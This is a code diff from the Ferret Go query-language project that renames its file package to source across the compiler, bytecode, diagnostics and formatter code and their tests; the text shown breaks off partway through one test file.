pkg/bytecode/program.go+4 −3 modified@@ -5,7 +5,8 @@ import ( "github.com/goccy/go-json" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" + "github.com/MontFerret/ferret/v2/pkg/runtime" ) @@ -21,12 +22,12 @@ type ( AggregatePlans []AggregatePlan `json:"aggregatePlans"` AggregateSelectorSlots []int `json:"aggregateSelectorSlots,omitempty"` MatchFailTargets []int `json:"matchFailTargets,omitempty"` - DebugSpans []file.Span `json:"debugSpans"` + DebugSpans []source.Span `json:"debugSpans"` OptimizationLevel int `json:"optimizationLevel"` } Program struct { - Source *file.Source + Source *source.Source Functions Functions Bytecode []Instruction Constants []runtime.Value
pkg/bytecode/validation_test.go+3 −3 modified@@ -4,8 +4,8 @@ import ( "errors" "testing" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/runtime" + "github.com/MontFerret/ferret/v2/pkg/source" ) func TestValidateProgram(t *testing.T) { @@ -125,7 +125,7 @@ func TestValidateProgramAllowsConcatImmediateCountAtRegisterLimit(t *testing.T) func validValidationProgram() *Program { return &Program{ - Source: file.NewSource("validation.fql", "RETURN 1"), + Source: source.New("validation.fql", "RETURN 1"), Functions: Functions{ Host: map[string]int{ "now": 0, @@ -155,7 +155,7 @@ func validValidationProgram() *Program { AggregatePlans: []AggregatePlan{NewAggregatePlan([]runtime.String{runtime.NewString("group")}, []AggregateKind{AggregateCount}, false)}, AggregateSelectorSlots: []int{-1, -1}, MatchFailTargets: []int{-1, -1}, - DebugSpans: []file.Span{{Start: 0, End: 6}, {Start: 7, End: 8}}, + DebugSpans: []source.Span{{Start: 0, End: 6}, {Start: 7, End: 8}}, OptimizationLevel: 1, }, ISAVersion: Version,
pkg/compiler/compiler.go+2 −3 modified@@ -7,11 +7,10 @@ import ( "github.com/MontFerret/ferret/v2/pkg/compiler/internal/optimization" "github.com/MontFerret/ferret/v2/pkg/diagnostics" parserd "github.com/MontFerret/ferret/v2/pkg/parser/diagnostics" + "github.com/MontFerret/ferret/v2/pkg/source" "github.com/antlr4-go/antlr/v4" - "github.com/MontFerret/ferret/v2/pkg/file" - "github.com/MontFerret/ferret/v2/pkg/parser" ) @@ -45,7 +44,7 @@ func New(setters ...Option) *Compiler { // Compile parses and compiles a source into a bytecode program. // // Compile is safe for concurrent use by multiple goroutines. -func (c *Compiler) Compile(src *file.Source) (program *bytecode.Program, err error) { +func (c *Compiler) Compile(src *source.Source) (program *bytecode.Program, err error) { if src.Empty() { return nil, parserd.NewEmptyQueryError(src) }
pkg/compiler/internal/context.go+4 −3 modified@@ -6,10 +6,11 @@ import ( "github.com/antlr4-go/antlr/v4" + "github.com/MontFerret/ferret/v2/pkg/source" + "github.com/MontFerret/ferret/v2/pkg/bytecode" "github.com/MontFerret/ferret/v2/pkg/compiler/internal/core" "github.com/MontFerret/ferret/v2/pkg/compiler/internal/optimization" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/parser/diagnostics" ) @@ -33,7 +34,7 @@ type CompilerContext struct { ExprCompiler *ExprCompiler DispatchCompiler *DispatchCompiler StmtCompiler *StmtCompiler - Source *file.Source + Source *source.Source LoopSortCompiler *LoopSortCompiler LoopCollectCompiler *LoopCollectCompiler WaitCompiler *WaitCompiler @@ -43,7 +44,7 @@ type CompilerContext struct { } // NewCompilerContext initializes a new CompilerContext with default values. -func NewCompilerContext(src *file.Source, errors *diagnostics.ErrorHandler, level optimization.Level) *CompilerContext { +func NewCompilerContext(src *source.Source, errors *diagnostics.ErrorHandler, level optimization.Level) *CompilerContext { ctx := &CompilerContext{ Source: src, Errors: errors,
pkg/compiler/internal/core/emitter.go+8 −8 modified@@ -5,7 +5,7 @@ import ( "strings" "github.com/MontFerret/ferret/v2/pkg/bytecode" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) type Emitter struct { @@ -15,28 +15,28 @@ type Emitter struct { instructions []bytecode.Instruction selectorSlots []int matchFailTargets []int - spans []file.Span - currentSpan file.Span + spans []source.Span + currentSpan source.Span nextLabelID labelID } func NewEmitter() *Emitter { return &Emitter{ instructions: make([]bytecode.Instruction, 0, 8), - currentSpan: file.Span{Start: -1, End: -1}, + currentSpan: source.Span{Start: -1, End: -1}, } } func (e *Emitter) Bytecode() []bytecode.Instruction { return e.instructions } -func (e *Emitter) Spans() []file.Span { +func (e *Emitter) Spans() []source.Span { if len(e.spans) == 0 { return nil } - out := make([]file.Span, len(e.spans)) + out := make([]source.Span, len(e.spans)) copy(out, e.spans) return out @@ -65,7 +65,7 @@ func (e *Emitter) MatchFailTargets() []int { } // WithSpan sets a span for emitted instructions within fn. -func (e *Emitter) WithSpan(span file.Span, fn func()) { +func (e *Emitter) WithSpan(span source.Span, fn func()) { if fn == nil { return } @@ -367,7 +367,7 @@ func (e *Emitter) insertInstructionWithSelectorSlot(label Label, ins bytecode.In append([]int{-1}, e.matchFailTargets[pos:]...)..., ) e.spans = append(e.spans[:pos], - append([]file.Span{e.currentSpan}, e.spans[pos:]...)..., + append([]source.Span{e.currentSpan}, e.spans[pos:]...)..., ) // Adjust all subsequent label addresses
pkg/compiler/internal/dispatch.go+5 −4 modified@@ -3,12 +3,13 @@ package internal import ( "github.com/antlr4-go/antlr/v4" + "github.com/MontFerret/ferret/v2/pkg/source" + "github.com/MontFerret/ferret/v2/pkg/parser/diagnostics" "github.com/MontFerret/ferret/v2/pkg/bytecode" "github.com/MontFerret/ferret/v2/pkg/compiler/internal/core" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/parser/fql" "github.com/MontFerret/ferret/v2/pkg/runtime" ) @@ -144,14 +145,14 @@ func (c *DispatchCompiler) ensureRegister(op bytecode.Operand) bytecode.Operand return dst } -func dispatchSpan(ctx fql.IDispatchExpressionContext) file.Span { +func dispatchSpan(ctx fql.IDispatchExpressionContext) source.Span { if ctx == nil { - return file.Span{Start: -1, End: -1} + return source.Span{Start: -1, End: -1} } if prc, ok := ctx.(antlr.ParserRuleContext); ok { return diagnostics.SpanFromRuleContext(prc) } - return file.Span{Start: -1, End: -1} + return source.Span{Start: -1, End: -1} }
pkg/compiler/internal/expr.go+14 −13 modified@@ -8,12 +8,13 @@ import ( "github.com/antlr4-go/antlr/v4" + "github.com/MontFerret/ferret/v2/pkg/source" + "github.com/MontFerret/ferret/v2/pkg/parser/diagnostics" "github.com/MontFerret/ferret/v2/pkg/bytecode" "github.com/MontFerret/ferret/v2/pkg/compiler/internal/core" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/parser/fql" "github.com/MontFerret/ferret/v2/pkg/runtime" ) @@ -434,7 +435,7 @@ func resolveArrayPredicateOpcode(op fql.IArrayOperatorContext) (bytecode.Opcode, func (c *ExprCompiler) emitBinaryPredicate(ctx fql.IPredicateContext, opcode bytecode.Opcode, left, right bytecode.Operand, isNegated bool) bytecode.Operand { dest := c.ctx.Registers.Allocate() - span := file.Span{Start: -1, End: -1} + span := source.Span{Start: -1, End: -1} if prc, ok := ctx.(antlr.ParserRuleContext); ok { span = diagnostics.SpanFromRuleContext(prc) @@ -687,7 +688,7 @@ func emitBinaryOperation(ctx *CompilerContext, prc antlr.ParserRuleContext, op a } dst := ctx.Registers.Allocate() - span := file.Span{Start: -1, End: -1} + span := source.Span{Start: -1, End: -1} if prc != nil { span = diagnostics.SpanFromRuleContext(prc) @@ -1911,7 +1912,7 @@ func (c *ExprCompiler) compileImplicitSimpleMemberExpressionSegments(src bytecod return result } -func (c *ExprCompiler) emitOptionalMemberLoadSegment(span file.Span, src, segmentOp bytecode.Operand, constOperand, optional bool, state *optionalMemberChainState) bytecode.Operand { +func (c *ExprCompiler) emitOptionalMemberLoadSegment(span source.Span, src, segmentOp bytecode.Operand, constOperand, optional bool, state *optionalMemberChainState) bytecode.Operand { dst := c.allocateOptionalMemberDestination(src, state) c.ctx.Emitter.WithSpan(span, func() { @@ -2448,7 +2449,7 @@ func (c *ExprCompiler) compileQueryExpressionSource(ctx fql.IQueryExpressionCont return source, source != bytecode.NoopOperand } -func (c *ExprCompiler) emitQueryEnvelope(ctx fql.IQueryExpressionContext, span file.Span) bytecode.Operand { +func (c *ExprCompiler) emitQueryEnvelope(ctx fql.IQueryExpressionContext, span source.Span) bytecode.Operand { queryReg := c.ctx.Registers.Allocate() c.ctx.Emitter.WithSpan(span, func() { @@ -2508,13 +2509,13 @@ func (c *ExprCompiler) compileQueryOptionsOperand(ctx fql.IQueryWithOptContext) return c.Compile(ctx.Expression()) } -func (c *ExprCompiler) emitQueryEnvelopeOperand(span file.Span, queryReg, value bytecode.Operand) { +func (c *ExprCompiler) emitQueryEnvelopeOperand(span source.Span, queryReg, value bytecode.Operand) { c.ctx.Emitter.WithSpan(span, func() { c.ctx.Emitter.EmitArrayPush(queryReg, value) }) } -func (c *ExprCompiler) emitApplyQuery(span file.Span, src, queryReg bytecode.Operand) bytecode.Operand { +func (c *ExprCompiler) emitApplyQuery(span source.Span, src, queryReg bytecode.Operand) bytecode.Operand { result := c.ctx.Registers.Allocate() c.ctx.Emitter.WithSpan(span, func() { @@ -2524,7 +2525,7 @@ func (c *ExprCompiler) emitApplyQuery(span file.Span, src, queryReg bytecode.Ope return result } -func (c *ExprCompiler) lowerQueryModifier(span file.Span, modifier queryModifier, queryResult bytecode.Operand) bytecode.Operand { +func (c *ExprCompiler) lowerQueryModifier(span source.Span, modifier queryModifier, queryResult bytecode.Operand) bytecode.Operand { switch modifier { case queryModifierExists: dst := c.ctx.Registers.Allocate() @@ -2592,7 +2593,7 @@ func parseQueryModifier(text string) queryModifier { } } -func (c *CompilerContext) lowerQueryModifierValue(span file.Span, queryResult bytecode.Operand) bytecode.Operand { +func (c *CompilerContext) lowerQueryModifierValue(span source.Span, queryResult bytecode.Operand) bytecode.Operand { dst := c.Registers.Allocate() cond := c.Registers.Allocate() zero := c.Symbols.AddConstant(runtime.NewInt(0)) @@ -2614,7 +2615,7 @@ func (c *CompilerContext) lowerQueryModifierValue(span file.Span, queryResult by return dst } -func (c *CompilerContext) lowerQueryModifierOne(span file.Span, queryResult bytecode.Operand) bytecode.Operand { +func (c *CompilerContext) lowerQueryModifierOne(span source.Span, queryResult bytecode.Operand) bytecode.Operand { dst := c.Registers.Allocate() length := c.Registers.Allocate() one := c.Symbols.AddConstant(runtime.NewInt(1)) @@ -2774,7 +2775,7 @@ func arrayContractionDepth(ctx fql.IArrayContractionContext) int { return 1 } -func (c *ExprCompiler) compileArrayIteration(src bytecode.Operand, span file.Span, tail []fql.IMemberExpressionPathContext, inline fql.IInlineExpressionContext, extraFilters []fql.IExpressionContext) bytecode.Operand { +func (c *ExprCompiler) compileArrayIteration(src bytecode.Operand, span source.Span, tail []fql.IMemberExpressionPathContext, inline fql.IInlineExpressionContext, extraFilters []fql.IExpressionContext) bytecode.Operand { tail, postLoopContraction := splitTerminalArrayContractionTail(tail) loop := &core.Loop{ @@ -2995,7 +2996,7 @@ func (c *ExprCompiler) CompileFunctionCall(ctx fql.IFunctionCallContext, protect // - An operand representing the function call result func (c *ExprCompiler) CompileFunctionCallWith(ctx fql.IFunctionCallContext, protected bool, seq core.RegisterSequence) bytecode.Operand { name := getFunctionName(ctx, c.ctx.UseAliases) - span := file.Span{Start: -1, End: -1} + span := source.Span{Start: -1, End: -1} if ctx != nil { if fn := ctx.FunctionName(); fn != nil { @@ -3272,7 +3273,7 @@ func (c *ExprCompiler) CompileRangeOperator(ctx fql.IRangeOperatorContext) bytec start := c.compileRangeOperand(ctx.GetLeft()) end := c.compileRangeOperand(ctx.GetRight()) - span := file.Span{Start: -1, End: -1} + span := source.Span{Start: -1, End: -1} if prc, ok := ctx.(antlr.ParserRuleContext); ok { span = diagnostics.SpanFromRuleContext(prc)
pkg/compiler/internal/loop.go+4 −3 modified@@ -3,12 +3,13 @@ package internal import ( "github.com/antlr4-go/antlr/v4" + "github.com/MontFerret/ferret/v2/pkg/source" + parser "github.com/MontFerret/ferret/v2/pkg/parser/diagnostics" "github.com/MontFerret/ferret/v2/pkg/bytecode" "github.com/MontFerret/ferret/v2/pkg/compiler/internal/core" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/parser/fql" ) @@ -195,7 +196,7 @@ func (c *LoopCompiler) declareLoopCounterVariable(ctx fql.IForExpressionContext, } func (c *LoopCompiler) emitLoopInitialization(ctx fql.IForExpressionContext, loop *core.Loop) { - span := file.Span{Start: -1, End: -1} + span := source.Span{Start: -1, End: -1} if srcCtx := ctx.ForExpressionSource(); srcCtx != nil { if prc, ok := srcCtx.(antlr.ParserRuleContext); ok { @@ -238,7 +239,7 @@ func (c *LoopCompiler) compileFinalization(ctx antlr.RuleContext) bytecode.Opera re := ctx.(*fql.ReturnExpressionContext) expReg := c.ctx.ExprCompiler.Compile(re.Expression()) - span := file.Span{Start: -1, End: -1} + span := source.Span{Start: -1, End: -1} if exprCtx := re.Expression(); exprCtx != nil { if prc, ok := exprCtx.(antlr.ParserRuleContext); ok {
pkg/compiler/internal/optimization/pass_peephole_test.go+2 −2 modified@@ -5,8 +5,8 @@ import ( "testing" "github.com/MontFerret/ferret/v2/pkg/bytecode" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/runtime" + "github.com/MontFerret/ferret/v2/pkg/source" ) func runPeephole(t *testing.T, program *bytecode.Program) (*PassResult, error) { @@ -680,7 +680,7 @@ func TestPeephole_RemapsCatchDebugSpansAndLabels(t *testing.T) { Metadata: bytecode.Metadata{ AggregateSelectorSlots: []int{-1, 7, -1, 9}, MatchFailTargets: []int{3, -1, -1, -1}, - DebugSpans: []file.Span{ + DebugSpans: []source.Span{ {Start: 0, End: 1}, {Start: 2, End: 3}, {Start: 4, End: 5},
pkg/compiler/internal/optimization/peephole_remap.go+6 −2 modified@@ -2,7 +2,7 @@ package optimization import ( "github.com/MontFerret/ferret/v2/pkg/bytecode" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) func applyPeepholeCompactionAndRemap(state *peepholeRunState) { @@ -114,15 +114,19 @@ func remapDebugSpans(prog *bytecode.Program, keep []bool) { if prog == nil || len(prog.Metadata.DebugSpans) == 0 { return } + if len(prog.Metadata.DebugSpans) != len(keep) { return } - updated := make([]file.Span, 0, len(prog.Metadata.DebugSpans)) + + updated := make([]source.Span, 0, len(prog.Metadata.DebugSpans)) + for i, span := range prog.Metadata.DebugSpans { if keep[i] { updated = append(updated, span) } } + prog.Metadata.DebugSpans = updated }
pkg/compiler/internal/wait.go+6 −5 modified@@ -7,12 +7,13 @@ import ( "github.com/antlr4-go/antlr/v4" + "github.com/MontFerret/ferret/v2/pkg/source" + parser "github.com/MontFerret/ferret/v2/pkg/parser/diagnostics" "github.com/MontFerret/ferret/v2/pkg/bytecode" "github.com/MontFerret/ferret/v2/pkg/compiler/internal/core" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/parser/fql" "github.com/MontFerret/ferret/v2/pkg/runtime" ) @@ -567,11 +568,11 @@ func (c *WaitCompiler) emitApplyJitter(intervalReg, jitterReg bytecode.Operand) c.ctx.Emitter.EmitABC(bytecode.OpMul, intervalReg, intervalReg, multiplierReg) } -func waitForSpan(source antlr.RuleContext, fallback antlr.RuleContext) file.Span { - span := file.Span{Start: -1, End: -1} +func waitForSpan(src antlr.RuleContext, fallback antlr.RuleContext) source.Span { + span := source.Span{Start: -1, End: -1} - if source != nil { - if prc, ok := source.(antlr.ParserRuleContext); ok { + if src != nil { + if prc, ok := src.(antlr.ParserRuleContext); ok { span = parser.SpanFromRuleContext(prc) return span }
pkg/compiler/visitor.go+2 −2 modified@@ -6,18 +6,18 @@ import ( "github.com/MontFerret/ferret/v2/pkg/compiler/internal" "github.com/MontFerret/ferret/v2/pkg/compiler/internal/optimization" - "github.com/MontFerret/ferret/v2/pkg/file" parser "github.com/MontFerret/ferret/v2/pkg/parser/diagnostics" "github.com/MontFerret/ferret/v2/pkg/parser/fql" "github.com/MontFerret/ferret/v2/pkg/runtime" + "github.com/MontFerret/ferret/v2/pkg/source" ) type Visitor struct { *fql.BaseFqlParserVisitor Ctx *internal.CompilerContext } -func NewVisitor(src *file.Source, errors *parser.ErrorHandler, level optimization.Level) *Visitor { +func NewVisitor(src *source.Source, errors *parser.ErrorHandler, level optimization.Level) *Visitor { v := new(Visitor) v.BaseFqlParserVisitor = new(fql.BaseFqlParserVisitor) v.Ctx = internal.NewCompilerContext(src, errors, level)
pkg/diagnostics/diagnostic.go+10 −10 modified@@ -3,29 +3,29 @@ package diagnostics import ( "strings" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) // Diagnostic represents a structured diagnostic error with optional source context and spans. type Diagnostic struct { - Cause error `json:"cause"` - Source *file.Source `json:"source"` - Kind Kind `json:"kind"` - Message string `json:"message"` - Hint string `json:"hint"` - Note string `json:"note"` - Spans []ErrorSpan `json:"spans"` + Cause error `json:"cause"` + Source *source.Source `json:"source"` + Kind Kind `json:"kind"` + Message string `json:"message"` + Hint string `json:"hint"` + Note string `json:"note"` + Spans []ErrorSpan `json:"spans"` } -func NewUnexpectedError(src *file.Source, msg string) *Diagnostic { +func NewUnexpectedError(src *source.Source, msg string) *Diagnostic { return &Diagnostic{ Kind: UnexpectedError, Message: msg, Source: src, } } -func NewUnexpectedErrorWith(src *file.Source, msg string, cause error) *Diagnostic { +func NewUnexpectedErrorWith(src *source.Source, msg string, cause error) *Diagnostic { return &Diagnostic{ Kind: UnexpectedError, Message: msg,
pkg/diagnostics/diagnostics_test.go+2 −2 modified@@ -5,7 +5,7 @@ import ( . "github.com/smartystreets/goconvey/convey" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) func TestMultiCompilationError(t *testing.T) { @@ -47,7 +47,7 @@ func TestMultiCompilationError(t *testing.T) { }) Convey("Format() should format errors properly", func() { - src := file.NewSource("test.fql", "LET x = 1") + src := source.New("test.fql", "LET x = 1") tests := []struct { name string
pkg/diagnostics/error_span.go+5 −5 modified@@ -1,25 +1,25 @@ package diagnostics -import "github.com/MontFerret/ferret/v2/pkg/file" +import "github.com/MontFerret/ferret/v2/pkg/source" type ErrorSpan struct { Label string - Span file.Span + Span source.Span Main bool } -func NewErrorSpan(span file.Span, label string, main bool) ErrorSpan { +func NewErrorSpan(span source.Span, label string, main bool) ErrorSpan { return ErrorSpan{ Span: span, Label: label, Main: main, } } -func NewMainErrorSpan(span file.Span, label string) ErrorSpan { +func NewMainErrorSpan(span source.Span, label string) ErrorSpan { return NewErrorSpan(span, label, true) } -func NewSecondaryErrorSpan(span file.Span, label string) ErrorSpan { +func NewSecondaryErrorSpan(span source.Span, label string) ErrorSpan { return NewErrorSpan(span, label, false) }
pkg/diagnostics/error_span_test.go+4 −4 modified@@ -5,13 +5,13 @@ import ( . "github.com/smartystreets/goconvey/convey" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) func TestErrorSpan(t *testing.T) { Convey("ErrorSpan constructors", t, func() { Convey("NewErrorSpan should create ErrorSpan with all fields", func() { - span := file.Span{Start: 0, End: 10} + span := source.Span{Start: 0, End: 10} label := "test label" main := true @@ -23,7 +23,7 @@ func TestErrorSpan(t *testing.T) { }) Convey("NewMainErrorSpan should create main ErrorSpan", func() { - span := file.Span{Start: 0, End: 10} + span := source.Span{Start: 0, End: 10} label := "main error" result := NewMainErrorSpan(span, label) @@ -34,7 +34,7 @@ func TestErrorSpan(t *testing.T) { }) Convey("NewSecondaryErrorSpan should create non-main ErrorSpan", func() { - span := file.Span{Start: 5, End: 15} + span := source.Span{Start: 5, End: 15} label := "secondary error" result := NewSecondaryErrorSpan(span, label)
pkg/diagnostics/formatter.go+2 −2 modified@@ -7,7 +7,7 @@ import ( "sort" "strings" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) func FormatDiagnostic(out io.Writer, e *Diagnostic, indent int) { @@ -56,7 +56,7 @@ func FormatDiagnostic(out io.Writer, e *Diagnostic, indent int) { } } -func renderErrorSpan(out io.Writer, prefix string, src *file.Source, s ErrorSpan) { +func renderErrorSpan(out io.Writer, prefix string, src *source.Source, s ErrorSpan) { renderer := SpanRenderer{ Prefix: prefix, CaretChar: '^',
pkg/diagnostics/formatter_test.go+8 −8 modified@@ -4,11 +4,11 @@ import ( "strings" "testing" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) func TestFormatError_Basic(t *testing.T) { - src := file.NewSource("test.fql", "LET x = 1") + src := source.New("test.fql", "LET x = 1") err := &Diagnostic{ Kind: UnexpectedError, @@ -32,15 +32,15 @@ func TestFormatError_Basic(t *testing.T) { } func TestFormatError_WithSpans(t *testing.T) { - src := file.NewSource("test.fql", "LET x = 1") + src := source.New("test.fql", "LET x = 1") err := &Diagnostic{ Kind: UnexpectedError, Message: "test error", Source: src, Spans: []ErrorSpan{ - NewMainErrorSpan(file.Span{Start: 0, End: 3}, "main error"), - NewSecondaryErrorSpan(file.Span{Start: 4, End: 5}, "secondary error"), + NewMainErrorSpan(source.Span{Start: 0, End: 3}, "main error"), + NewSecondaryErrorSpan(source.Span{Start: 4, End: 5}, "secondary error"), }, } @@ -55,7 +55,7 @@ func TestFormatError_WithSpans(t *testing.T) { } func TestFormatError_WithCause(t *testing.T) { - src := file.NewSource("test.fql", "LET x = 1") + src := source.New("test.fql", "LET x = 1") cause := &Diagnostic{ Kind: UnexpectedError, @@ -89,7 +89,7 @@ func TestFormatError_WithCause(t *testing.T) { } func TestFormatError_WithIndent(t *testing.T) { - src := file.NewSource("test.fql", "LET x = 1") + src := source.New("test.fql", "LET x = 1") err := &Diagnostic{ Kind: UnexpectedError, @@ -108,7 +108,7 @@ func TestFormatError_WithIndent(t *testing.T) { } func TestFormatError_NilSpansHandling(t *testing.T) { - src := file.NewSource("test.fql", "LET x = 1") + src := source.New("test.fql", "LET x = 1") err := &Diagnostic{ Kind: UnexpectedError,
pkg/diagnostics/render.go+2 −2 modified@@ -5,7 +5,7 @@ import ( "io" "strings" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) // SpanRenderer renders a source span with line numbers and a caret marker. @@ -16,7 +16,7 @@ type SpanRenderer struct { } // Render prints a span diagnostic block. It returns false when no location can be rendered. -func (r SpanRenderer) Render(out io.Writer, src *file.Source, span file.Span, label string) bool { +func (r SpanRenderer) Render(out io.Writer, src *source.Source, span source.Span, label string) bool { if out == nil || src == nil || src.Empty() { return false }
pkg/formatter/formatter.go+3 −2 modified@@ -6,8 +6,9 @@ import ( "github.com/antlr4-go/antlr/v4" + "github.com/MontFerret/ferret/v2/pkg/source" + "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/formatter/internal" "github.com/MontFerret/ferret/v2/pkg/parser" parserd "github.com/MontFerret/ferret/v2/pkg/parser/diagnostics" @@ -29,7 +30,7 @@ func New(setters ...Option) *Formatter { } } -func (fmt *Formatter) Format(out io.Writer, src *file.Source) error { +func (fmt *Formatter) Format(out io.Writer, src *source.Source) error { if src.Empty() { return parserd.NewEmptyQueryError(src) }
pkg/formatter/formatter_test.go+7 −7 modified@@ -5,12 +5,12 @@ import ( "strings" "testing" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) func TestFormatter_TemplateLiteralDoesNotIndentInterpolation(t *testing.T) { input := "RETURN { foo: `line1\n${1}`, veryLongPropertyNameThatForcesMultilineFormatting: 1 }" - src := file.NewAnonymousSource(input) + src := source.NewAnonymous(input) var buf bytes.Buffer fmt := New(WithPrintWidth(10)) @@ -29,7 +29,7 @@ func TestFormatter_TemplateLiteralDoesNotIndentInterpolation(t *testing.T) { func TestFormatter_ArrayTemplateLiteralNewlineForcesMultiline(t *testing.T) { input := "RETURN [`line1\n${1}`]" - src := file.NewAnonymousSource(input) + src := source.NewAnonymous(input) var buf bytes.Buffer fmt := New(WithPrintWidth(200)) @@ -48,7 +48,7 @@ func TestFormatter_ArrayTemplateLiteralNewlineForcesMultiline(t *testing.T) { func TestFormatter_NestedObjectRespectsPrintWidthAtLineStart(t *testing.T) { input := "RETURN [{ a: 1, bb: 2 }]" - src := file.NewAnonymousSource(input) + src := source.NewAnonymous(input) var buf bytes.Buffer fmt := New(WithPrintWidth(18)) @@ -77,7 +77,7 @@ func TestFormatter_NestedObjectRespectsPrintWidthAtLineStart(t *testing.T) { func TestFormatter_BlockCommentPreservesLeadingSpace(t *testing.T) { input := "RETURN 1\n/*\n * a\n * b\n */\nRETURN 2" - src := file.NewAnonymousSource(input) + src := source.NewAnonymous(input) var buf bytes.Buffer fmt := New() @@ -96,7 +96,7 @@ func TestFormatter_BlockCommentPreservesLeadingSpace(t *testing.T) { func TestFormatter_WaitForEventFilterUsesWhenAndRemainsParseable(t *testing.T) { input := "LET obs = []\nWAITFOR EVENT \"test\" IN obs WHEN .type == \"match\"\nRETURN 1" - src := file.NewAnonymousSource(input) + src := source.NewAnonymous(input) var buf bytes.Buffer fmt := New() @@ -113,7 +113,7 @@ func TestFormatter_WaitForEventFilterUsesWhenAndRemainsParseable(t *testing.T) { } var roundTrip bytes.Buffer - if err := fmt.Format(&roundTrip, file.NewAnonymousSource(out)); err != nil { + if err := fmt.Format(&roundTrip, source.NewAnonymous(out)); err != nil { t.Fatalf("formatted output must remain parseable: %v\nformatted:\n%s", err, out) } }
pkg/formatter/internal/clause_test.go+3 −3 modified@@ -4,8 +4,8 @@ import ( "bytes" "testing" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/parser/fql" + "github.com/MontFerret/ferret/v2/pkg/source" ) func TestClauseFormatter_TimeoutValueFormatsParam(t *testing.T) { @@ -14,7 +14,7 @@ func TestClauseFormatter_TimeoutValueFormatsParam(t *testing.T) { timeout := mustFirst[*fql.TimeoutClauseContext](t, program) var buf bytes.Buffer - e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions()) + e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions()) e.clause.formatTimeoutClause(timeout) if got := buf.String(); got != "TIMEOUT @t" { @@ -28,7 +28,7 @@ func TestClauseFormatter_EventFilterClauseUsesWhen(t *testing.T) { filter := mustFirst[*fql.EventFilterClauseContext](t, program) var buf bytes.Buffer - e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions()) + e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions()) e.clause.formatEventFilterClause(filter) if got := buf.String(); got != "WHEN .type == \"match\"" {
pkg/formatter/internal/engine.go+3 −3 modified@@ -4,14 +4,14 @@ import ( "io" "strings" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) type ( context struct { opts *Options p *printer - src *file.Source + src *source.Source } engine struct { @@ -28,7 +28,7 @@ type ( } ) -func newEngine(src *file.Source, out io.Writer, opts *Options) *engine { +func newEngine(src *source.Source, out io.Writer, opts *Options) *engine { ctx := &context{ opts: opts, p: newPrinter(out, opts),
pkg/formatter/internal/expression_test.go+12 −12 modified@@ -4,8 +4,8 @@ import ( "bytes" "testing" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/parser/fql" + "github.com/MontFerret/ferret/v2/pkg/source" ) func TestExpressionFormatter_UnaryNot(t *testing.T) { @@ -14,7 +14,7 @@ func TestExpressionFormatter_UnaryNot(t *testing.T) { expr := mustFirst[*fql.ExpressionContext](t, program) var buf bytes.Buffer - e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions()) + e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions()) e.expression.formatExpression(expr) if got := buf.String(); got != "NOT a" { @@ -29,7 +29,7 @@ func TestExpressionFormatter_ImplicitMemberExpression(t *testing.T) { expr := inlineRet.Expression().(*fql.ExpressionContext) var buf bytes.Buffer - e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions()) + e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions()) e.expression.formatExpression(expr) if got := buf.String(); got != ".name" { @@ -44,7 +44,7 @@ func TestExpressionFormatter_ImplicitMemberExpressionOptional(t *testing.T) { expr := inlineRet.Expression().(*fql.ExpressionContext) var buf bytes.Buffer - e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions()) + e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions()) e.expression.formatExpression(expr) if got := buf.String(); got != "?.name" { @@ -59,7 +59,7 @@ func TestExpressionFormatter_ImplicitCurrentExpression(t *testing.T) { expr := inlineRet.Expression().(*fql.ExpressionContext) var buf bytes.Buffer - e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions()) + e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions()) e.expression.formatExpression(expr) if got := buf.String(); got != "." { @@ -73,7 +73,7 @@ func TestExpressionFormatter_QueryExpressionInline(t *testing.T) { expr := mustFirst[*fql.ExpressionContext](t, program) var buf bytes.Buffer - e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions()) + e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions()) e.expression.formatExpression(expr) if got := buf.String(); got != "QUERY `.items` IN doc USING css WITH { limit: 10 }" { @@ -87,7 +87,7 @@ func TestExpressionFormatter_QueryExpressionParamPayload(t *testing.T) { 